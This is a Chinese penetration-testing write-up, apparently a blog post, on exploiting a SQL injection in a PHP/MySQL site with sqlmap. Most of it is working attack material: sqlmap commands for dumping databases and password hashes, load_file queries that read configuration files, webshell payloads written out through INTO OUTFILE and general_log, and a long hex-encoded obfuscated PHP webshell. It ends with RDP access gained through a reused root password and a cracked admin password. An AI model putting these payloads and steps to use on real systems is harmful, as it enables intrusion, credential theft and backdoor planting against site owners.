本次渗透测试使用了sqlmap中所有有关mysql渗透到模块,特别是系统访问层面的,例如--os-smbrelay,该模块在kali下使用,有时候可能会有奇效,如果存在漏洞将会直接反弹一个msf的shell。

本文作者:Simeon

在实际渗透测试过程中,当发现目标站点存在SQL注入漏洞,一般都是交给sqlmap等工具来自动处理,证明其存在SQL注入漏洞以及获取数据库;如果当前网站使用的数据库用户为root账号,则还可以尝试获取Webshell和提权。在一般情况下,如果发现是root账号,则90%以上机会可以获取webshell,且极有可能获得服务器权限。

本次渗透过程碰到一种特殊情况:

(1)Php网站存在SQL注入漏洞。

(2)网站使用的用户是Root账号

(3)知道web网站真实物理路径

无法写入Webshell,无法直接udf提权!尝试了sqlmap有关MySQL数据库渗透的一些技术,虽然技术上未能获取webshell,但最后结合社工,成功获取了服务器权限,对特定服务器的渗透具有借鉴意义。

1.1使用sqlmap渗透常规思路1.获取信息

通过“sqlmap -u url”命令对注入点进行漏洞确认,然后依次进行以下命令,来获取数据库信息:

(1)列数据库信息:–dbs

(2)web当前使用的数据库–current-db

(3)web数据库使用账户 –current-user

(4)列出数据库所有用户 –users

(5)数据库账户与密码 –passwords

(6)指定库名列出所有表 -D databasename–tables

(7)指定库名表名列出所有字段-D antian365 -T admin –columns

(8)指定库名表名字段dump出指定字段

-D secbang_com -T admin -C  id,password ,username –dump

-D antian365 -T userb -C"email,Username,userpassword" –dump

2.有root权限的情况下可以系统访问权限尝试

    –os-cmd=OSCMD//执行操作系统命令

   –os-shell //反弹一个osshell

   –os-pwn //pwn,反弹msf下的shell或者vnc

   –os-smbrelay //反弹msf下的shell或者vnc

   –os-bof //存储过程缓存溢出

   –priv-esc //数据库提权

3.通过查看管理员表,来获取管理员账号和密码,对加密账号还需要进行破解。

4.寻找后台地址并登录。

5.通过后台寻找上传漏洞,或者其它漏洞来尝试获取webshell权限。

1.2使用sqlmap进行全自动获取再确认漏洞后,可以使用“sqlmap -uurl –smart –batch -a”自动进行注入,自动填写判断,获取数据库所有信息,包括dump所有数据库的内容。切记对大数据库尤其谨慎,不能用该命令,否则会获取大量数据记录,原因您懂的。在本例中测试了该方法,可以直接获取该SQL注入漏洞所在站点的所有数据库,获取数据不是本次讨论的主要目的。

1.3直接提权失败   根据前面的介绍,直接使用“–os-cmd=whoami”命令来尝试是否可以直接执行命令,如图1所示,执行命令后,需要选择网站脚本语言,本次测试是php,所以选择“4”,在选择路径中选择“2”,自定义路径,输入“D:/EmpireServer/web”后未能直接执行命令。

1.jpg

图1无法执行命令

   在尝试无法直接执行命令后,后面继续测试“–os-shell”也失败的情况下,尝试去分析sqlmap的源代码,尝试能否直接加入已经获取的网站路径地址,来获取权限。通过分析代码未能找到其相关配置文件,无奈之下继续进行后面的测试。

1.4使用sqlmap获取sql-shell权限1.通过sqlmap对SQL注入点加参数“–sql-shell”命令来直接获取数据库shell:

sqlmap.py -uhttp://**.**.**.***/newslist.php?id=2 –sql-shell

执行后如图2所示,获取操作系统版本,web应用程序类型等信息:

web server operating system: Windows //操作系统为windows

web application technology: Apache 2.2.4, PHP 5.2.0//Apache服务器,php

back-end DBMS: MySQL 5//MySQL数据库大于5.0版本

2.jpg

图2尝试获取sql-shell

2.查询数据库密码

  在sql-shell中执行数据库查询命令selecthost,user,password from mysql.user,尝试能否获取所有的数据库用户和密码,在获取信息过程需要选择获取多少信息,选择All则表示所有,其它数字则表示获取条数,一般输入“a”即可。如图3所示,成功获取当前数据库root账号和密码等信息。如果host值是“%”,则可以通过远程连接进行管理。


sql-shell>select host,user,password from mysql.user

[20:54:57][INFO] fetching SQL SELECT statement query output: 'select host,user,passwordfrom mysql.user'

selecthost,user,password from mysql.user [2]:

localhost, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

127.0.0.1, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

3.jpg

图3查询mysql数据库用户信息

3.尝试获取目录信息

   使用查询命令“select@@datadir”命令来获取数据库数据保存的位置,如图4所示,获取其数据库保存位置为“D:\EmpireServer\php\mysql5\Data\”,看到这个信息,使用百度对关键字“EmpireServer”进行搜索。获取一个EmpireServer的关键安装信息:

(1)将压缩的帝国软件放到D盘,解压到当前文件夹

(2)执行D:\EmpireServer一键安装命令

(3)在web文件夹里新建自己文件夹如zb,把web中所有目录考到zb中

(4)删除/e/install/install.off文件!

(5)在浏览器中运行http://localhost/zb/e/install/重新安装

(6)数据库用户名root密码为空、其余用户名、密码为admin

(7)登陆前台首页http://localhost/zb,登陆后台http://localhost/zb/e/admin

(8)数据库所在路径D:\EmpireServer\php\mysql5\data

(9)保存网站:保存自己建立的文件夹目录,例如:D:\EmpireServer\web\zb的zb目录和数据库目录,例如:D:\EmpireServer\php\mysql5\data\zb的zb目录。

4.jpg

图4获取数据库数据保存目录

4.读取文件

   通过上一步的分析,猜测网站可能使用web等关键字来做为网站目录使用,因此尝试使用:select load_file(‘D:/EmpireServer/web/index.php’)来读取index.php文件的内容,如图5所示,成功读取!在使用load_file函数进行读取文件时,一定要进行“D:\EmpireServer\web”符号的转换,也即将“\”换成“/”,否则无法读取,在读取文件中可以看到inc/getcon.php、inc/function.php等文件包含。

5.jpg

图5读取首页文件内容

(5)获取root账号密码

执行查询命令select load_file(‘D:/EmpireServer/web/inc/getcon.php’),如图6所示,成功获取数据库配置文件getcon.php的内容,在其配置信息中包含了root账号和密码:

root net***.com*** (

6.jpg

图6获取root账号及密码

1.5尝试获取webshell以及提权  1.尝试能否更改数据库内容,如图7所示执行更新MySQL命令:

updatemysql.user set mysql.host='%'  where  mysql.user='127.0.0.1';

7.jpg

图7执行更新数据库表命令

经过实际测试,通过sql-shell参数可以很方便的进行查询,执行update命令没有成功,后续还进行了一系列的update命令测试,结果没有成功就放弃直接更换host为“%”的思路。也曾经想直接添加一个账号和远程授权,通过sqlmap以及手工均未成功!

CREATEUSER newuser@'%'  IDENTIFIED BY '123456';

grantall privileges on *.* to newuser@'%' identified by  "123456" with grant option;

FLUSHPRIVILEGES;

(2)尝试利用sqlmap的–os-pwn命令

   使用“–os-shell”输入前面获取的真实物理路径“D:/EmpireServer/web”未能获取可以执行命令的shell,后续,执行“–os-pwn”则提示需要安装pywin32,如图8所示,在本地下载安装后,还是不成功。pywin32下载地址:

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win-amd64-py2.7.exe/download

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

8.jpg

图8执行“–os-pwn”命令

(3)尝试利用sqlmap的sql-query命令

执行sqlmap.py -u http://**.**.**.***/newslist.php?id=2–sql-query=" select host ,user,password from mysql.user”其效果跟前面的sql-shell类似,执行update命令仍然不行。

1.6尝试写入文件1.直接sql-query写入文件

  MySQL root账号提权条件:

(1)网站必须是root权限(已经满足)

(2)攻击者需要知道网站的绝对路径(已经满足)

(3)GPC为off,php主动转义的功能关闭(已经满足)

虽然条件满足,实际测试情况确实查询后无结果。

2.general_log_file获取webshell测试

(1)查看genera文件配置情况

showglobal variables like "%genera%";

(2)关闭general_log

setglobal general_log=off;

(3)通过general_log选项来获取webshell

setglobal general_log='on';

SETglobal general_log_file='D:/EmpireServer/web/cmd.php';

(4)执行查询

SELECT'<?php assert($_POST["cmd"]);?>';

  结果仍然未获取webshell。

3.更换路径

   怀疑是文件写入权限,后续访问网站获取某一个图片的地址后,更换地址后进行查询:

select'<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/EmpireServer/web/uploadfile/image/20160407/23.php';

访问webshell地址:

http://**.**.**.***/uploadfile/image/20160407/23.php

  测试结果还是不行,如图9所示。

9.jpg

图9更换路径查询导出文件

4.使用加密webshell写入

执行加密webshell查询,查询成功,但访问实际页面不成功。

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E')into dumpfile 'D:/EmpireServer/web/22.php'

1.7社工账号登录服务器1.登录远程桌面   

   后面灵机一动,使用root获取的账号直接登录该3389,也即社工攻击,如图10所示成功登录服务器。

10.jpg

图10成功登录服务器

2.发现后台地址ls1010_admin

  登录服务器后,发现网站不是采用模版安装的,而是在此基础上进行二次开发,且更换了后台管理地址为“ls1010_admin”。管理员密码:51623986534b8fd8bfd88cdb8b9e2181破解后密码为wanxin170104,使用该密码成功登录后台,如图11所示。在该后台中还发现一个用户名称bcitb,密码为bcitb1010。

技巧:分享一个免费的md5查询网站:https://www.somd5.com/

11.jpg

图11成功登录后台

1.8总结与防御


1.本次渗透测试使用了sqlmap中所有有关mysql渗透到模块,特别是系统访问层面的,例如–os-smbrelay,该模块在kali下使用,有时候可能会有奇效,如果存在漏洞将会直接反弹一个msf的shell。

2.本次通过猜测后台基本上是无解的,可以看出网站应该是刻意更改网站后台地址,让攻击者无法轻易获取后台地址,但其后台中还存在开发人员留下的测试账号,可能导致系统安全隐患。

3.网站在安全方面应该进行了一些简单加固,但SQL注入漏洞的存在使这些设置基本无用。